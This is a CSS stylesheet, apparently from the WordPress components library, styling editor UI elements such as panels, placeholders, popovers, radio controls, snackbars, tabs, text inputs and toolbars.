.components-panel__body{
  border-bottom:1px solid #e0e0e0;
  border-top:1px solid #e0e0e0;
}
.components-panel__body h3{
  margin:0 0 .5em;
}
.components-panel__body.is-opened{
  padding:16px;
}

.components-panel__header{
  align-items:center;
  border-bottom:1px solid #ddd;
  box-sizing:initial;
  display:flex;
  flex-shrink:0;
  height:47px;
  justify-content:space-between;
  padding:0 16px;
}
.components-panel__header h2{
  color:inherit;
  font-size:inherit;
  margin:0;
}

.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{
  margin-top:-1px;
}

.components-panel__body>.components-panel__body-title{
  display:block;
  font-size:inherit;
  margin-bottom:0;
  margin-top:0;
  padding:0;
}
@media not (prefers-reduced-motion){
  .components-panel__body>.components-panel__body-title{
    transition:background .1s ease-in-out;
  }
}

.components-panel__body.is-opened>.components-panel__body-title{
  margin:-16px -16px 5px;
}

.components-panel__body>.components-panel__body-title:hover{
  background:#f0f0f0;
  border:none;
}

.components-panel__body-toggle.components-button{
  border:none;
  box-shadow:none;
  color:#1e1e1e;
  font-weight:500;
  height:auto;
  outline:none;
  padding:16px 48px 16px 16px;
  position:relative;
  text-align:left;
  width:100%;
}
@media not (prefers-reduced-motion){
  .components-panel__body-toggle.components-button{
    transition:background .1s ease-in-out;
  }
}
.components-panel__body-toggle.components-button:focus{
  border-radius:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-panel__body-toggle.components-button .components-panel__arrow{
  color:#1e1e1e;
  position:absolute;
  right:16px;
  top:50%;
  transform:translateY(-50%);
  fill:currentColor;
}
@media not (prefers-reduced-motion){
  .components-panel__body-toggle.components-button .components-panel__arrow{
    transition:color .1s ease-in-out;
  }
}
body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{
  -ms-filter:fliph;
  filter:FlipH;
  margin-top:-10px;
  transform:scaleX(-1);
}

.components-panel__icon{
  color:#757575;
  margin:-2px 0 -2px 6px;
}

.components-panel__body-toggle-icon{
  margin-right:-5px;
}

.components-panel__color-title{
  float:left;
  height:19px;
}

.components-panel__row{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-top:8px;
  min-height:36px;
}
.components-panel__row select{
  min-width:0;
}
.components-panel__row label{
  flex-shrink:0;
  margin-right:12px;
  max-width:75%;
}
.components-panel__row:empty,.components-panel__row:first-of-type{
  margin-top:0;
}

.components-panel .circle-picker{
  padding-bottom:20px;
}

.components-placeholder.components-placeholder{
  align-items:flex-start;
  box-sizing:border-box;
  color:#1e1e1e;
  display:flex;
  flex-direction:column;
  font-size:13px;
  gap:16px;
  margin:0;
  padding:24px;
  position:relative;
  text-align:left;
  width:100%;
  -moz-font-smoothing:subpixel-antialiased;
  -webkit-font-smoothing:subpixel-antialiased;
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  outline:1px solid #0000;
}

.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:400;
  letter-spacing:normal;
  line-height:normal;
  text-transform:none;
}

.components-placeholder__label{
  align-items:center;
  display:flex;
  font-weight:600;
}
.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{
  margin-right:4px;
  fill:currentColor;
}
@media (forced-colors:active){
  .components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{
    fill:CanvasText;
  }
}
.components-placeholder__label:empty{
  display:none;
}

.components-placeholder__fieldset,.components-placeholder__fieldset form{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:16px;
  justify-content:flex-start;
  width:100%;
}
.components-placeholder__fieldset form p,.components-placeholder__fieldset p{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{
  flex-direction:column;
}

.components-placeholder__input[type=url]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  flex:1 1 auto;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:6px 8px;
}
@media not (prefers-reduced-motion){
  .components-placeholder__input[type=url]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-placeholder__input[type=url]{
    font-size:13px;
    line-height:normal;
  }
}
.components-placeholder__input[type=url]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-placeholder__input[type=url]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-placeholder__input[type=url]::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-placeholder__input[type=url]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.components-placeholder__error{
  gap:8px;
  width:100%;
}

.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{
  margin-left:10px;
  margin-right:10px;
}
.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{
  margin-right:0;
}

.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{
  display:none;
}
.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{
  flex-direction:column;
}
.components-placeholder.is-medium .components-button,.components-placeholder.is-medium .components-placeholder__fieldset>*,.components-placeholder.is-small .components-button,.components-placeholder.is-small .components-placeholder__fieldset>*{
  justify-content:center;
  width:100%;
}
.components-placeholder.is-small{
  padding:16px;
}
.components-placeholder.has-illustration{
  -webkit-backdrop-filter:blur(100px);
          backdrop-filter:blur(100px);
  backface-visibility:hidden;
  background-color:initial;
  border-radius:0;
  box-shadow:none;
  color:inherit;
  display:flex;
  overflow:hidden;
}
.is-dark-theme .components-placeholder.has-illustration{
  background-color:#0000001a;
}
.components-placeholder.has-illustration .components-placeholder__fieldset{
  margin-left:0;
  margin-right:0;
}
.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{
  opacity:0;
  pointer-events:none;
}
@media not (prefers-reduced-motion){
  .components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{
    transition:opacity .1s linear;
  }
}
.is-selected>.components-placeholder.has-illustration .components-button,.is-selected>.components-placeholder.has-illustration .components-placeholder__instructions,.is-selected>.components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}
.components-placeholder.has-illustration:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.is-selected .components-placeholder.has-illustration{
  overflow:auto;
}

.components-placeholder__preview{
  display:flex;
  justify-content:center;
}

.components-placeholder__illustration{
  box-sizing:initial;
  height:100%;
  left:50%;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  width:100%;
  stroke:currentColor;
  opacity:.25;
}

.components-popover{
  box-sizing:border-box;
  will-change:transform;
  z-index:1000000;
}
.components-popover *,.components-popover :after,.components-popover :before{
  box-sizing:inherit;
}
.components-popover.is-expanded{
  bottom:0;
  left:0;
  position:fixed;
  right:0;
  top:0;
  z-index:1000000 !important;
}

.components-popover__content{
  background:#fff;
  border-radius:4px;
  box-shadow:0 0 0 1px #ccc,0 2px 3px #0000000d,0 4px 5px #0000000a,0 12px 12px #00000008,0 16px 16px #00000005;
  box-sizing:border-box;
  width:min-content;
}
.is-alternate .components-popover__content{
  border-radius:2px;
  box-shadow:0 0 0 1px #1e1e1e;
}
.is-unstyled .components-popover__content{
  background:none;
  border-radius:0;
  box-shadow:none;
}
.components-popover.is-expanded .components-popover__content{
  box-shadow:0 -1px 0 0 #ccc;
  height:calc(100% - 48px);
  overflow-y:visible;
  position:static;
  width:auto;
}
.components-popover.is-expanded.is-alternate .components-popover__content{
  box-shadow:0 -1px 0 #1e1e1e;
}

.components-popover__header{
  align-items:center;
  background:#fff;
  display:flex;
  height:48px;
  justify-content:space-between;
  padding:0 8px 0 16px;
}

.components-popover__header-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}

.components-popover__close.components-button{
  z-index:5;
}

.components-popover__arrow{
  display:flex;
  height:14px;
  pointer-events:none;
  position:absolute;
  width:14px;
}
.components-popover__arrow:before{
  background-color:#fff;
  content:"";
  height:2px;
  left:1px;
  position:absolute;
  right:1px;
  top:-1px;
}
.components-popover__arrow.is-top{
  bottom:-14px !important;
  transform:rotate(0);
}
.components-popover__arrow.is-right{
  left:-14px !important;
  transform:rotate(90deg);
}
.components-popover__arrow.is-bottom{
  top:-14px !important;
  transform:rotate(180deg);
}
.components-popover__arrow.is-left{
  right:-14px !important;
  transform:rotate(-90deg);
}

.components-popover__triangle{
  display:block;
  flex:1;
}

.components-popover__triangle-bg{
  fill:#fff;
}

.components-popover__triangle-border{
  fill:#0000;
  stroke-width:1px;
  stroke:#ccc;
}
.is-alternate .components-popover__triangle-border{
  stroke:#1e1e1e;
}

.components-radio-control{
  border:0;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  margin:0;
  padding:0;
}

.components-radio-control__group-wrapper.has-help{
  margin-block-end:12px;
}

.components-radio-control__option{
  align-items:center;
  column-gap:8px;
  display:grid;
  grid-template-columns:auto 1fr;
  grid-template-rows:auto minmax(0, max-content);
}

.components-radio-control__input[type=radio]{
  appearance:none;
  border:1px solid #1e1e1e;
  border-radius:2px;
  border-radius:50%;
  box-shadow:0 0 0 #0000;
  cursor:pointer;
  display:inline-flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  grid-column:1;
  grid-row:1;
  height:24px;
  line-height:normal;
  margin:0;
  max-width:24px;
  min-width:24px;
  padding:0;
  position:relative;
  transition:none;
  width:24px;
}
@media not (prefers-reduced-motion){
  .components-radio-control__input[type=radio]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]{
    font-size:13px;
    line-height:normal;
  }
}
.components-radio-control__input[type=radio]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.components-radio-control__input[type=radio]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-radio-control__input[type=radio]::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-radio-control__input[type=radio]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]{
    height:16px;
    max-width:16px;
    min-width:16px;
    width:16px;
  }
}
.components-radio-control__input[type=radio]:checked:before{
  background-color:#fff;
  border:4px solid #fff;
  box-sizing:inherit;
  height:12px;
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  width:12px;
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]:checked:before{
    height:8px;
    width:8px;
  }
}
.components-radio-control__input[type=radio]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
}
.components-radio-control__input[type=radio]:checked{
  background:var(--wp-admin-theme-color);
  border:none;
}
.components-radio-control__input[type=radio]:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-radio-control__input[type=radio]:checked{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-radio-control__input[type=radio]:checked:before{
  border-radius:50%;
  content:"";
}

.components-radio-control__label{
  cursor:pointer;
  grid-column:2;
  grid-row:1;
  line-height:24px;
}
@media (min-width:600px){
  .components-radio-control__label{
    line-height:16px;
  }
}

.components-radio-control__option-description{
  grid-column:2;
  grid-row:2;
  padding-block-start:4px;
}
.components-radio-control__option-description.components-radio-control__option-description{
  margin-top:0;
}

.components-resizable-box__handle{
  display:none;
  height:23px;
  width:23px;
  z-index:2;
}
.components-resizable-box__container.has-show-handle .components-resizable-box__handle{
  display:block;
}
.components-resizable-box__handle>div{
  height:100%;
  outline:none;
  position:relative;
  width:100%;
  z-index:2;
}

.components-resizable-box__container>img{
  width:inherit;
}

.components-resizable-box__handle:after{
  background:#fff;
  border-radius:50%;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)), 0 1px 1px #00000008, 0 1px 2px #00000005, 0 3px 3px #00000005, 0 4px 4px #00000003;
  content:"";
  cursor:inherit;
  display:block;
  height:15px;
  outline:2px solid #0000;
  position:absolute;
  right:calc(50% - 8px);
  top:calc(50% - 8px);
  width:15px;
}

.components-resizable-box__side-handle:before{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-radius:9999px;
  content:"";
  cursor:inherit;
  display:block;
  height:3px;
  opacity:0;
  position:absolute;
  right:calc(50% - 1px);
  top:calc(50% - 1px);
  width:3px;
}
@media not (prefers-reduced-motion){
  .components-resizable-box__side-handle:before{
    transition:transform .1s ease-in;
    will-change:transform;
  }
}

.components-resizable-box__corner-handle,.components-resizable-box__side-handle{
  z-index:2;
}

.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{
  border-left:0;
  border-right:0;
  left:0;
  width:100%;
}

.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{
  border-bottom:0;
  border-top:0;
  height:100%;
  top:0;
}

@media not (prefers-reduced-motion){
  .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
    animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;
    animation-fill-mode:forwards;
  }
  .components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{
    animation:components-resizable-box__left-right-animation .1s ease-out 0s;
    animation-fill-mode:forwards;
  }
}
@media not all and (min-resolution:0.001dpcm){
  @supports (-webkit-appearance:none){
    .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
      animation:none;
    }
  }
}
@keyframes components-resizable-box__top-bottom-animation{
  0%{
    opacity:0;
    transform:scaleX(0);
  }
  to{
    opacity:1;
    transform:scaleX(1);
  }
}
@keyframes components-resizable-box__left-right-animation{
  0%{
    opacity:0;
    transform:scaleY(0);
  }
  to{
    opacity:1;
    transform:scaleY(1);
  }
}
.components-resizable-box__handle-right{
  right:-11.5px;
}

.components-resizable-box__handle-left{
  left:-11.5px;
}

.components-resizable-box__handle-top{
  top:-11.5px;
}

.components-resizable-box__handle-bottom{
  bottom:-11.5px;
}
.components-responsive-wrapper{
  align-items:center;
  display:flex;
  justify-content:center;
  max-width:100%;
  position:relative;
}

.components-responsive-wrapper__content{
  display:block;
  max-width:100%;
  width:100%;
}

.components-sandbox{
  overflow:hidden;
}

iframe.components-sandbox{
  width:100%;
}

body.lockscroll,html.lockscroll{
  overflow:hidden;
}

.components-select-control__input{
  outline:0;
  -webkit-tap-highlight-color:rgba(0, 0, 0, 0) !important;
}

@media (max-width:782px){
  .components-base-control .components-base-control__field .components-select-control__input{
    font-size:16px;
  }
}
.components-snackbar{
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background:#000000d9;
  border-radius:4px;
  box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;
  box-sizing:border-box;
  color:#fff;
  cursor:pointer;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  max-width:600px;
  padding:12px 20px;
  pointer-events:auto;
  width:100%;
}
@media (min-width:600px){
  .components-snackbar{
    width:fit-content;
  }
}
.components-snackbar:focus{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-snackbar.components-snackbar-explicit-dismiss{
  cursor:default;
}
.components-snackbar .components-snackbar__content-with-icon{
  padding-left:24px;
  position:relative;
}
.components-snackbar .components-snackbar__icon{
  left:-8px;
  position:absolute;
  top:-2.9px;
}
.components-snackbar .components-snackbar__dismiss-button{
  cursor:pointer;
  margin-left:24px;
}

.components-snackbar__action.components-button{
  color:#fff;
  flex-shrink:0;
  margin-left:32px;
}
.components-snackbar__action.components-button:focus{
  box-shadow:none;
  outline:1px dotted #fff;
}
.components-snackbar__action.components-button:hover{
  color:currentColor;
  text-decoration:none;
}

.components-snackbar__content{
  align-items:baseline;
  display:flex;
  justify-content:space-between;
  line-height:1.4;
}

.components-snackbar-list{
  box-sizing:border-box;
  pointer-events:none;
  position:absolute;
  width:100%;
  z-index:100000;
}

.components-snackbar-list__notice-container{
  padding-top:8px;
  position:relative;
}

.components-tab-panel__tabs{
  align-items:stretch;
  display:flex;
  flex-direction:row;
}
.components-tab-panel__tabs[aria-orientation=vertical]{
  flex-direction:column;
}

.components-tab-panel__tabs-item{
  background:#0000;
  border:none;
  border-radius:0;
  box-shadow:none;
  cursor:pointer;
  font-weight:500;
  height:48px !important;
  margin-left:0;
  padding:3px 16px;
  position:relative;
}
.components-tab-panel__tabs-item:focus:not(:disabled){
  box-shadow:none;
  outline:none;
  position:relative;
}
.components-tab-panel__tabs-item:after{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-radius:0;
  bottom:0;
  content:"";
  height:calc(var(--wp-admin-border-width-focus)*0);
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
}
@media not (prefers-reduced-motion){
  .components-tab-panel__tabs-item:after{
    transition:all .1s linear;
  }
}
.components-tab-panel__tabs-item.is-active:after{
  height:calc(var(--wp-admin-border-width-focus)*1);
  outline:2px solid #0000;
  outline-offset:-1px;
}
.components-tab-panel__tabs-item:before{
  border-radius:2px;
  bottom:12px;
  box-shadow:0 0 0 0 #0000;
  content:"";
  left:12px;
  pointer-events:none;
  position:absolute;
  right:12px;
  top:12px;
}
@media not (prefers-reduced-motion){
  .components-tab-panel__tabs-item:before{
    transition:all .1s linear;
  }
}
.components-tab-panel__tabs-item:focus-visible:before{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}

.components-tab-panel__tab-content:focus{
  box-shadow:none;
  outline:none;
}
.components-tab-panel__tab-content:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:0;
}

.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  margin:0;
  padding:6px 8px;
  width:100%;
}
@media not (prefers-reduced-motion){
  .components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
    font-size:13px;
    line-height:normal;
  }
}
.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-placeholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-text-control__input.is-next-40px-default-size,.components-text-control__input[type=color].is-next-40px-default-size,.components-text-control__input[type=date].is-next-40px-default-size,.components-text-control__input[type=datetime-local].is-next-40px-default-size,.components-text-control__input[type=datetime].is-next-40px-default-size,.components-text-control__input[type=email].is-next-40px-default-size,.components-text-control__input[type=month].is-next-40px-default-size,.components-text-control__input[type=number].is-next-40px-default-size,.components-text-control__input[type=password].is-next-40px-default-size,.components-text-control__input[type=tel].is-next-40px-default-size,.components-text-control__input[type=text].is-next-40px-default-size,.components-text-control__input[type=time].is-next-40px-default-size,.components-text-control__input[type=url].is-next-40px-default-size,.components-text-control__input[type=week].is-next-40px-default-size{
  height:40px;
  padding-left:12px;
  padding-right:12px;
}

.components-text-control__input[type=email],.components-text-control__input[type=url]{
  direction:ltr;
}

.components-tip{
  color:#757575;
  display:flex;
}
.components-tip svg{
  align-self:center;
  fill:#f0b849;
  flex-shrink:0;
  margin-right:16px;
}
.components-tip p{
  margin:0;
}

.components-toggle-control__label{
  line-height:16px;
}
.components-toggle-control__label:not(.is-disabled){
  cursor:pointer;
}

.components-toggle-control__help{
  display:inline-block;
  margin-inline-start:40px;
}

.components-accessible-toolbar{
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:inline-flex;
  flex-shrink:0;
}
.components-accessible-toolbar>.components-toolbar-group:last-child{
  border-right:none;
}
.components-accessible-toolbar.is-unstyled{
  border:none;
}
.components-accessible-toolbar.is-unstyled>.components-toolbar-group{
  border-right:none;
}

.components-accessible-toolbar[aria-orientation=vertical],.components-toolbar[aria-orientation=vertical]{
  align-items:center;
  display:flex;
  flex-direction:column;
}
.components-accessible-toolbar .components-button,.components-toolbar .components-button{
  height:48px;
  padding-left:16px;
  padding-right:16px;
  position:relative;
  z-index:1;
}
.components-accessible-toolbar .components-button:focus:not(:disabled),.components-toolbar .components-button:focus:not(:disabled){
  box-shadow:none;
  outline:none;
}
.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media not (prefers-reduced-motion){
  .components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{
    animation:components-button__appear-animation .1s ease;
    animation-fill-mode:forwards;
  }
}
.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{
  margin-left:auto;
  margin-right:auto;
  position:relative;
}
.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{
  background:#0000;
}
.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{
  background:#1e1e1e;
}
.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-accessible-toolbar .components-button.has-icon.has-icon,.components-toolbar .components-button.has-icon.has-icon{
  min-width:48px;
  padding-left:8px;
  padding-right:8px;
}

@keyframes components-button__appear-animation{
  0%{
    transform:scaleY(0);
  }
  to{
    transform:scaleY(1);
  }
}
.components-toolbar__control.components-button{
  position:relative;
}
.components-toolbar__control.components-button[data-subscript] svg{
  padding:5px 10px 5px 0;
}
.components-toolbar__control.components-button[data-subscript]:after{
  bottom:10px;
  content:attr(data-subscript);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  line-height:12px;
  position:absolute;
  right:8px;
}
.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{
  color:#fff;
}

.components-toolbar-group{
  background-color:#fff;
  border-right:1px solid #1e1e1e;
  display:inline-flex;
  flex-shrink:0;
  flex-wrap:wrap;
  line-height:0;
  min-height:48px;
  padding-left:6px;
  padding-right:6px;
}
.components-toolbar-group .components-toolbar-group.components-toolbar-group{
  border-width:0;
  margin:0;
}
.components-toolbar-group .components-button.components-button,.components-toolbar-group .components-button.has-icon.has-icon{
  justify-content:center;
  min-width:36px;
  padding-left:6px;
  padding-right:6px;
}
.components-toolbar-group .components-button.components-button svg,.components-toolbar-group .components-button.has-icon.has-icon svg{
  min-width:24px;
}
.components-toolbar-group .components-button.components-button:before,.components-toolbar-group .components-button.has-icon.has-icon:before{
  left:2px;
  right:2px;
}

.components-toolbar{
  background-color:#fff;
  border:1px solid #1e1e1e;
  display:inline-flex;
  flex-shrink:0;
  flex-wrap:wrap;
  margin:0;
  min-height:48px;
}
.components-toolbar .components-toolbar.components-toolbar{
  border-width:0;
  margin:0;
}

div.components-toolbar>div{
  display:flex;
  margin:0;
}
